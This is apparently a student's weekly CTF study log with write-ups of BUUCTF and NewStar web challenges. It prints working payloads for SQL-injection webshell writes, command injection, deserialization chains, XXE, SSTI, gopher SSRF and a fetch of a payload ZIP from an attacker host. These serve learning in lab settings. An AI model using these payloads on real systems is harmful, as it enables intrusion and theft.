10.27–11.2周

本周复现了newstar2024的week1-week3,并且做了六道buu的题目,php代码审计偏多

​ 对之前较为模糊的知识点进行了补充,如php伪协议,cookie的组成和部分php代码绕过等
​ 1.如果直接传参名 NewStar_CTF.2024会发现并没有用。这是由 NewStar_CTF.2024 中的特殊字符 . 引起的,PHP 默认会将其解析为 NewStar_CTF_2024。可以使用 [ 字符的非正确替换漏洞。当传入的参数名中出现 [ 且之后没有 ] 时,PHP 会将 [ 替换为 _,但此之后就不会继续替换后面的特殊字符了因此,GET 传参 NewStar[CTF.2024即可
​ 2.在git泄露类型题中,开发者会使用 git stash 来暂存未提交的更改。这些更改存储在 .git/objects 中,可以被恢复。在cd到指定的目录下,恢复出的仓库中,使用 git stash list 查看暂存列表。使用 git stash apply 应用暂存,查看暂存的内容。git stash pop还原文件
​ 3.cmd里type读取文件内容,斜杠换成反斜杠,文件名加双引号
​ 4.有时候在传Base64 加密后的字符串时会报错,是因为不能带有=,会被waf,这时直接删掉结尾等号即可,后者在明文后面多加一些空格以使加密结果不带等号,若最后是+的话,我们在GET传参必须将其编码为 %2B,不然+会被视作空格
​ 5.如果有类似闯关的题目,下一关出不来的时候可以试试更新一下cookie(),如果要修改,需要拿到key之后去jwt修改后传入
​ 6.nc (Netcat),直接与服务器进行通信,不加其他的东西,逐字节发送和接收数据,有时候nc类题目中某些文字显示乱码,可以使用nc直接连接
​ 7.在题目中需要要求文件内容,如file_get_contents($text,’r’)===”welcome to the zjctf”时,可以用url写data协议直接提供内容,无需创建文件,语法data://text/plain,welcome to the zjctf

本周总结:学到了之前没有接触过的知识点stash,python沙盒逃逸,jwt改cookie等,补习了一下之前了解不够牢靠的部分知识点

​ 另外检讨一下,这周光顾打洲了,没做多少题()
​ 下周学习计划:争取复现完newstar2024所有题目,了解一下服务器监听,污染404页面等

11.3–11.9周

本周复现完毕newstar2024全部题目,week4-5做下来整体感觉偏难但是5反而比4简单(),buu做了5道题,极客大挑战做了3道,学到了很多新知识点。

​ ps:学的有点杂,大部分还是对之前的知识点的补充和深入了解。
​ 1.sql注入过滤空格就用()将内容包裹起来,如select(table_name)from(information_schema.tables)
过滤=就用like替代,过滤by union等说明过滤了联合注入,需要采用报错注入,(extractvalue(1, concat(0x7e, (select database())))),直接报错,并且回显到后面检测的数据库的原理继续注入
​ 2.文件上传类有时不会把文件自动解析成php,就需要用htaccess更改服务器配置,.htaccess被禁用可以尝试.user.ini
​ 3.本地文件读取,在对读取文件有长度限制,且通配符不可使用的情况下,应该采用文件描述符来读取目的文件,文件描述符是操作系统为进程维护的一个整数,每个进程有一个fd表,如/proc/self/fd/3,不行就往后试()
​ 4.md5两次后是0e…..纯数字的是179122048
​ 5.sql注入中select句段被禁用,可以尝试堆叠注入,同时可以使用handler命令直接读取表中的数据,例如语法:1’;HANDLER 表名 OPEN;HANDLER 表名 READ NEXT;HANDLER 表名 CLOSE;#根据题目类型插入布尔盲注或其他注入类型
​ 6.在严格过滤的环境下获取flag,在得知flag文件名称的情况下,无法通过正常方法直接访问得到,可以尝试污染404页面,例:在flask中可以使用setattr(NotFound, ‘description’, command_result)动态修改404页面的描述内容,再跟上执行命令获取flag,将flag命令回显到404页面
​ 7.目录穿越,利用Flask框架静态文件路由的潜在缺陷,绕过目录限制/../来读取目录,需要注意的是,直接在url中访问并不会成功,因为无法对其进行正确解析,使用burpsuite等改请求来访问目标目录,进而读取到源码
​ 8.jwt密码爆破,在得知密码的组成或大致范围之后,可以生成字典进行爆破,用jwtcrack-master,命令组成为python.exe .\crackjwt.py 当前cookie .\字典文件,需要放在根目录下
​ 9.cms类题后台任意文件下载,任意文件解压漏洞。若容器出网,在公网服务器上放置包含 PHP 木马的 ZIP 文件,再在题目上触发下载ZIP,触发解压之后运行对应文件中的php木马执行任意命令,例如下载filepath=apidata&action=start-download&type=0&download_url=http://公网IP/payload.zip解压filepath=apidata&action=file-upzip。若容器不出网,就需要先上传ZIP到服务器,再下载解压运行。
​ 10.ROT13字母替换密码,凯撒密码的一种,偏移量固定为13,文件目录或者flag格式有问题的时候可以试一下是不是移位加密过了
​ 11.__toString()是POP链的常见入口点,我们可以在其中调用其他方法或访问其他属性
​ 12.原型链污染中,通过修改原型对象,影响所有基于该原型的对象。process.env 包含所有环境变量,其中子进程会继承父进程的环境变量,NODE_OPTIONS特殊环境变量,用于传递命令行参数,child_process.fork()创建Node.js子进程,而后execSync()同步执行系统命令。通过这样,就可以通过环境变量执行任意代码,例如:require("child_process").execSync("目的命令 | base64 -d > /app/index.js")//
​ 13.如果在题目中需要更改或创建对象,应该使用put请求
​ 14.XSS跨站脚本攻击,XSS题目的典型就是有一个bot,flag通常就在这个bot的cookie里面。我们可以通过找到一处能够输入并查看的地方写入一个恶意代码到服务端,让bot去访问运行它,进而获得cookie。拿到cookie之后的回显问题,如果题目出网,可以写命令让它发送到我们的服务器上面;如果不出网,就可以写一个JS代码让bot模拟用户操作,将Cookie在之前找到的输入点进行读取
​ 15.Redis命令执⾏沙箱逃逸,CVE-2022-0543,Redis的Lua环境是一个公共Lua库,我们可以利用Lua的 package.loadlib函数,加载这个系统库,并调用其中的危险函数,从而执行任意命令。例如:先通过local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”);找到目的package.loadlib函数,local io = io_l();提取表中的危险函数,local f = io.popen(“指定命令”, “r”);r用读取模式启动命令,返回一个文件句柄,将其保存在变量f中,local res = f:read(“*a”);结果保存在res中,return res返回res
​ 16.sql注入中若题目提示flag不在数据库,那么我们就需要getshell写入后门文件,写一个木马,例如:-1’union select 1,2,”<?php eval($_GET[1]);” into outfile “/var/www/html/1.php”–+再通过get的参数执行任意命令

本周总结:基本完成了本周的学习计划,学到了很多新知识点,Redis沙箱逃逸,XSS跨站脚本攻击和cms后台任意文件下载等。本周学的有点多,部分知识点目前只做过对应的一道题,并没有完全掌握,还需要后续的训练

下周学习计划:再次尝试一下极客大挑战,多做一点buu的题,看能不能遇到新学的知识点,把知识点实战巩固一下

11.17—11.23周

本周总结:这周buu崩了,我也崩了,一直发烧,没有爽做题,也没有爽打游戏,不开心的一周,但是还是学到了一些新知识,也算是很开心的事情了。个人博客也搭建的差不多了,等明年1月前后域名备案之后应该就可以正式上线了,欢迎各位来玩~

1.[网鼎杯 2020 朱雀组]phpweb

拿到题目访问一下,发现页面会自动刷新在这里插入图片描述

所以我们抓一下包在这里插入图片描述

很明显date是一个php的函数,而p是其中的一个参数,表示输出时间。
因此我们可以执行一下eval函数在这里插入图片描述

很明显,被拦了。这时候我们可以考虑一下读取index.php的源码
利用highlight_file函数

1
func=highlight_file&p=index.php

在这里插入图片描述

得到在这里插入图片描述

很明显这里的Test就是读取了func,需要你构造一个反序列化去绕过。

1
2
3
4
5
6
7
<?php
class Test{
var $p="ls /";
var $func="system";
}
$a =new Test();
echo serialize($a);

得到payload:

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

传入后得到在这里插入图片描述

然后

1
2
3
#构造payload
#反序列化前的语句:find / -name flag*
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

找到存有flag 的文件夹/tmp/flagoefiu4r93在这里插入图片描述

最后找出flag:

1
2
3
#构造payload
#反序列化前的语句:cat /tmp/flagoefiu4r93
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

img

1
flag{1ffa98ad-ba5d-4ce9-83b1-bdbaa1b54302}

2.[BJDCTF2020]The mystery of ip

在这里插入图片描述

查看hint页面:在这里插入图片描述

结合题目名,IP的秘密,flag页面也出现了IP,猜测为X-Forwarded-For处有问题
使用BurpSuite抓取数据包:

在这里插入图片描述

添加HTTP请求头:在这里插入图片描述

1
X-Forwarded-For: 1

发送数据包,得到回显页面:在这里插入图片描述

被成功执行,说明XFF可控,测试了半天,因为是php页面,所以没想到模版注入,通过查阅资料
Flask可能存在Jinjia2模版注入漏洞
PHP可能存在Twig模版注入漏洞

添加模版算式,检测其是否可被执行:

1
X-Forwarded-For: {{7*7}}

在这里插入图片描述

模版中算式被成功执行,尝试是否能执行命令:

1
X-Forwarded-For: {{system('ls')}}

在这里插入图片描述

命令可以被成功执行,查找flag的位置:

1
X-Forwarded-For: {{system('ls /')}}

在这里插入图片描述

/目录下查找到flag,读取flag,构造payload:

在这里插入图片描述

3.[BJDCTF2020]ZJCTF,不过如此

php特性

1.先看代码,提示了next.php,绕过题目的要求去回显next.php

2.可以看到要求存在text内容而且text内容强等于后面的,而且先通过这个if才能执行下面的file参数。

img

3.看到用的是file_get_contents()函数打开text。想到用data://协议,可以想成创建了临时文件读取

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

得到页面源码,接着base64解码

image-20240124204402834

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);

参数可以不管

可以看出,先传参执行complex,来执行getFlag()获得flag

可以先看下面,是其中代码解释

image-20240124204821112

在页面传参后使$re值为参变量123 $str值为${getflag()},来传入complex函数

这里解题的关键就是preg_replace()+/e存在代码执行漏洞

1
/next.php?\S*=${getflag()}&cmd=system('cat /flag');

image-20240124211307795

4.[BUUCTF 2018]Online Tool

首先要知道这escapeshellarg()和escapeshellcmd()两个函数组合会产生漏洞img

首先看题,接收一个host参数,值自定义,结合字符串经过md5加密后创建目录并切换至目录(这里其实就可以联想到写文件了,创建了目录就是来放东西的)

执行了nmap命令,这里构造payload利用了nmap中的-oG方法,可以实现将命令和结果写到文件

1
?host=' <?php echo `cat /flag`;?> -oG test.php '

首先payload经过escapeshellarg()函数后会自动套上一对单引号并对内部单引号转义

1
''\'' <?php echo `cat /flag`;?> -oG test.php '\'''

最外层单引号是函数添加的

内部单引号被\转义,\也被添加上双引号

进入escapeshellcmd()函数后对\和不成对的单引号进行转义

1
''\\'' <?php echo `cat /flag`;?> -oG test.php '\\'''

这里单引号将payload分成了多份

1
'' \\ '' <?php......php '\\' ''

这样payload就不会被单引号包裹,可以正常执行命令了

值得注意的是,因为后端是linux系统,在linux中,\代表转义符,system执行命令的参数是string类型,转义了也能正常执行,没被单引号包裹的\就是,被单引号包裹的仍是\

第二个值得注意的地方是:

最后的payload要加空格和’

不加空格最后文件名变为test.php\,会被解析为路径,test.php \后面的\会被忽略

不加单引号会变成test.php’,都无法正常执行img

5.[GXYCTF2019]禁止套娃

这个题重点在于无参数绕过

首先来看一下这个界面

img

查看源代码,目录文件扫描以及抓包都没什么有价值的信息。但是web题如果没有什么功能页面,一定有什么提示。若提示也没有,一般就泄露了文件或者源码等。这题就是源码泄露 。使用GitHack

打开index的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

很明显,源码存在三层过滤。

1.第一层,过滤了伪协议,这里不考虑伪协议使用

2.正则表达式,/[a-z,_]+/

[a-z,_]:匹配字符与下划线

+:可匹配前一个表达式多次

(?R):整个表达式迭代匹配

(?R)?:允许”()”内出现1个或0个 比如:c(a()b()),c(a())

所以这个正则表达式含义是匹配var_dump(scandir())这种无参数命令执行

3.过滤了一些函数

scandir(‘.’)是返回当前目录,虽然我们无法传参,但是由于localeconv() 返回的数组第一个就是‘.’,current()取第一个值,那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看

1
?exp=var_dump(scandir(current(localeconv())));

img

查看到flag.php在当先数组的第4个位置,所以需要移动指针

end(),next() ,prev() ,reset() ,each()好像不能重复套娃

因为flag在倒数第二个位置,所以反转数组,在移动指针到下一个即可

1
?exp=var_dump(show_source(next(array_reverse(scandir(current(localeconv()))))));

img

6.[GWCTF 2019]我有一个数据库

上来一堆乱码还原:

扫一遍发现数据库登陆页面在这里插入图片描述

CVE-2018-12613-PhpMyadmin后台文件包含在这里插入图片描述

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

target_blacklist没啥东西

Core::checkPageValidity($_REQUEST[‘target’]),Core类参数校验方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}

target=db_datadict.php?/…/…/…/…/…/…/…/…/flag

在这里插入图片描述

下周目标

​ 希望下周不会生病(),只要buu不崩,我就要补上这周没做完的题和完成下周的指标

11.24—11.30周

本周总结:这周基本复现完毕NewStar2025的所有题目,有价值的一些体现在周报里了,太简单的就没有放。整体做下来今年的NewStar的难度不如去年,但是也不乏设计的很好的,让人受益匪浅的题目(ps:week5的最后一道题目还没有打通,下周再蒸一蒸)。buu也做了几道题,但这周感觉学到的东西还是不算多,下周继续努力吧。

同时,我找时间对《你缺失的那门计算机课》这部非常好的作品进行了进一步的总结和缩减,将其发布在了我的博客上面并持续更新,目的就是为了能让完全没接触过计算机的真正的小白快速上手,如果大家有同学或朋友需要这些的,请尽情使用(),在文章的最后我将附上url

写完传到飞书之后才发现,图片都是用我的图床传的,云文档里面看不见,哭了。我把它更新到博客上面了,直接看博客吧–>https://shaneior.github.io/2025/11/23/UKY%E5%91%A8%E6%8A%A5/

1. [NCTF2019]Fake XML cookbook

开局一个登录页面,sql注入,SSTI之后发现都不是,随便填个数据抓包看看

image-20251129230616038

发现是xml解析,XXE(XML外部实体注入)漏洞

image-20251129230655397

通过<!ENTITY>声明引用文件,XML解析器会加载并替换实体内容,这里将其替换为可以回显的&admin

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123</password></user>

image-20251129230828113

2.[MRCTF2020]Ezpop

直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

flag.php应该在web目录下面

1
2
3
4
5
6
7
8
9
10
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

include函数为我们提供了个接口,直接包含flag.php文件。为了实现该方法必须有个调用函数的方式。

1
2
3
4
5
6
7
8
9
10
11
12
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

直接开始payload代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";

}

class Test{
public $p;

}

class Show{
public $source;
public $str;

}

$a = new Show();
$a->source = new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();

echo urlencode(serialize($a));

?>
1
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

image-20251129231515722

base64解码得到FLAG

3.[MRCTF2020]PYWebsite 【IP 信任漏洞】

其实就是把x-forward-for改成127.0.0.1()

image-20251129232203925

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script>

function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}

}

</script>

直接访问,意料之中不行

image-20251129232301573

“除了购买者和我”看出来应该是请求本地访问,改x-forward-for:127.0.0.1

image-20251129232407046

成功

4.[安洵杯 2019]easy_web

image-20251129232730810

看到url里面http://5cefc48c-a491-4714-9471-ff016b33d1ea.node5.buuoj.cn:81/index.php?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=

有img和cmd参数,试过之后发现img的参数是base64加密两次,然后hex解密一次

解出来是555.png,猜想这里是打开这个文件,改成index.php,TmprMlJUWTBOalUzT0RKRk56QTJPRGN3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}

?>

md5强绕过和一些过滤

对于这里的正则

我们发现禁用了tac nl more less head tail cat od 等一些可以读取文件内容的关键字,注意看后面的|\|\\|,我们都知道在php中正则过滤反斜杠要写四个\字符,因为会经过两次解析,一次php解析器的解析,另一次是正则表达式的解析。

\\,先经过php的解析成\,再经过正则表达式的解析成\,但是前面又多了一个\,经过php的解析成\,|这个字符在正则中是保留字符,所以可以转义,再经过正则的解析时\会与后面的|一起解析成|,问题就出现在这一块,整个来看,先经过php的解析成||\|,再经过正则的解析成|||,所以最后匹配的是|\而不是\,所以我们可以用反斜杠绕过

cmd=dir / cmd=ca\t

image-20251129233214029

image-20251129233225018

6.[WesternCTF2018]shrine

开局给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

题目给出了Flask的源码,其中有一条FLAG的config,
源码中有两个路由,其中还有/shrine/路径,简单测试后存在模版注入:/shrine/{{2+2}}

image-20251129233403858

若不存在黑名单,可以使用读取,

Python的沙箱逃逸可以利用Python对象之间的引用关系来调用被禁用的函数对象,其中有两个函数包含了current_app
全局变量,也就是:url_for()和get_flashed_messages()

1
/shrine/{{url_for.__globals__['current_app'].config}}

image-20251129233503256

image-20251129233515563

7.NewStar2025-week3 小E的秘密计划

提示备份文件,直接扫出来www.zip

image-20251130215911889

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
require_once 'user.php';
$userData = getUserData();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';

if ($username === $userData['username'] && $password === $userData['password']) {
header('Location: /secret-xxxxxxxxxxxxxxxxxxx');
exit();
} else {
echo '登录失败,在git里找找吧';
exit();
}
}

提示在git里面

image-20251130221418486

1
git reflog show --all		

记录所有引用的移动历史,即记录所有操作

image-20251130221516574

353b98分支被删了,直接看

image-20251130221555765

读到密码直接登

image-20251130221633013

mac的.DS_Store泄露,找到flag文件名,直接读flag

image-20251130221725962

成功

8.NewStar2025-week3 mirror_gate

第一次见到直接可以看到.htaccess的文件上传,特此记录一下

扫目录扫出来.htaccess

image-20251130222002361

image-20251130222017476

webp当php执行,然后就很常规了,短标签绕过

1
<?=show_source('/flag.php');?>

直接拿到flag

image-20251130222138660

9.NewStar2025-week4 SSTI 在哪里?

存在 ssrf.

file:///etc/passwd读到是 flask 服务

file:///app/app.py读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route('/', methods=['GET','POST'])
def index():
template = request.form.get('template', 'Hello World!')
return render_template_string(template)

if __name__ == '__main__':
app.run(host='127.0.0.1', port=5001)

将 name 接受的东西给到了 template,感觉有 SSTI

用 gopher 协议打,先认识一下gopher 协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gopher协议
概念:
  1.gopher协议是一种信息查找系统,它将internet上的文件组织成某种索引,方便用户从internet的一处带到另一处。但在www出现后,gopher就失去了昔日的辉煌。
  2.现在它已过时。它只支持文本,不支持图像。
  3.gopher协议可以做很多事情,特别是在ssrf中可以发挥很多重要的作用,利用此协议可以攻击内网的FTP,Telnnet,Redis,Memcache,也可进行GET,POST请求
  4.可以通过gopher协议将get请求伪装成post请求,他是SSRF利用中一个最强大的协议(俗称万能协议),可用于反弹shell
语法:gopher://127.0.0.1:80/_{TCP/IP数据流}
注意:
  1.这里的_不能省略
  2.这里的端口默认是70,但要具体情况具体而定,http就是80,https就是443
  3.如果发起post请求,回车换行符就必须要使用%0D%0A,告诉计算机你已经执行完了。如果多个参数,参数之间的&也需要进行URL编码
需要的条件:在构造的时候,只需要保留这几样必要的东西就行
  gopher : //127.0.0.1:80/_POST /flag.php HTTP/1.1
  Host : challenge-0cd16c73a7cf875a.sandbox.ctfhub.com:10800
  Content-Type : application/x-www-form-urlencoded
  Content-Length : 36

Flag 在环境变量

1
url=gopher://127.0.0.1:5000/_GET%2520%252F%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%252056%250A%250Aname%253D%257B%257Blipsum.__globals__%255B'os'%255D%255B'popen'%255D('env').read()%257D%257D

image-20251130223209913

成功

10.NewStar2025-week4 sqlupload

很新的知识点,在特定的位置注入你的恶意代码,然后想办法将其保存在可被执行的位置

1
?order=upload_time INTO OUTFILE '/var/www/html/1.php'

问题在 getFileList.php

image-20251130225217389

我们可以控制 order 参数将 filename 写入到文件

通过抓包传一个文件名是一句话木马的东西上去

image-20251130225233805

把它保存在1.php

1
?order=upload_time INTO OUTFILE '/var/www/html/1.php'

访问1.php,post传命令

但是直接读取 /readFlag是读不了的

image-20251130225409391

重定向到2.txt,直接读2.txt

1
1=system('/readFlag>2.txt');

image-20251130225801015

拿到flag

11.NewStar2025-week5 眼熟的计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.example.newstar.controller;

import javax.script.ScriptEngineManager;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class NewstarController {
private String[] BLACKLIST = new String[]{"import", "java.lang.Runtime", "new"};

private String calculate(String content) throws Exception {
for(String word : this.BLACKLIST) {
if (content.contains(word)) {
return "Blacklisted word detected: " + word;
}
}

Object result = (new ScriptEngineManager()).getEngineByName("js").eval(content);
return result.toString();
}

@GetMapping({"/"})
public String home(Model model) throws Exception {
return "index";
}

@GetMapping({"/calc"})
public String status(@RequestParam("content") String content, Model model) throws Exception {
model.addAttribute("result", this.calculate(content));
return "index";
}
}

直接ai梭哈,猜/flag

1
Java.type('java.nio.file.Files').readAllLines(Java.type('java.nio.file.Paths').get("/flag"),Java.type('java.nio.charset.StandardCharsets').UTF_8).toString()

image-20251130230036669

12.NewStar2025-week5 废弃的网站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from flask import Flask, request, render_template, abort, redirect, render_template_string
import jwt, hashlib, time

app = Flask(__name__)
time_started = round(time.time())
print(f"System started at {time_started}")
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()

tempuser = None

USER_DB = {
"admin": {"id": 1, "role": "admin", "name": "Administrator"},
"guest": {"id": 2, "role": "guest", "name": "Guest User"},
}

def admin_required(f):
def wrapper(*args, **kwargs):
cookie = request.cookies.get('session', None)
if cookie is None:

response = redirect('/')
session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
response.set_cookie('session', session)
return response
try:
user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
if user_data['role'] != 'admin':
abort(403, description="Admin access required.")
if user_data['name'] != 'Administrator':
abort(403, description="Admin access required.")
time.sleep(0.15)
except jwt.InvalidTokenError:
abort(401, description = f"Session expired. Please log in again. System has been running {round(time.time() - time_started)} seconds.")
return f(*args, **kwargs)
wrapper.__name__ = f.__name__
return wrapper

@app.before_request #Flask的请求钩子,它会在每个http请求处理之前自动执行
def load_user():
if request.endpoint == 'static':
return
global tempuser #全局变量
cookie = request.cookies.get('session', None)
if cookie is None:
tempuser = USER_DB['guest']
session = jwt.encode(tempuser, APP_SECRET, algorithm='HS256')
response = redirect(request.path)
response.set_cookie('session', session)
return response
try:
user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
tempuser = user_data
except jwt.InvalidTokenError:
session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
content = render_template_string(
"Session expired. Please log in again. System has been running %d seconds." %
(round(time.time() - time_started))
)
response = app.make_response((content, 401))
response.set_cookie('session', session)
return response

@app.route('/', methods=['GET'])
def home():
return render_template('index.html')


@app.route("/admin", methods=['GET'])
@admin_required
def admin_panel():
global tempuser
return render_template_string("Welcome Back, %s" % tempuser['name'])

@app.route("/static/<path:filename>", methods=['GET'])
def serve_static(filename):
if not filename.endswith('.png'):
abort(403, description="Only .png files are allowed.")
return app.send_static_file(filename)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)

发现render_template_string的ssti,但是想执行命令要admin,密钥是服务器启动时间,当jwt解析错误就会回显系统运行的时间,考虑时间误差,计算出的时间要+-1试试,所以写代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time
import hashlib
import re

def get_app_secret():
target_url = "http://8.147.132.32:24710/admin"
cookies = {
'td_cookie': '2928931217',
'session': '1'
}

try:
response = requests.get(target_url, cookies=cookies, timeout=5)
match = re.search(r'System has been running (\d+) seconds', response.text)
if match:
uptime = int(match.group(1))
current_time = int(time.time())

# 考虑时间误差,计算多个可能的启动时间
for offset in range(-1, 2):
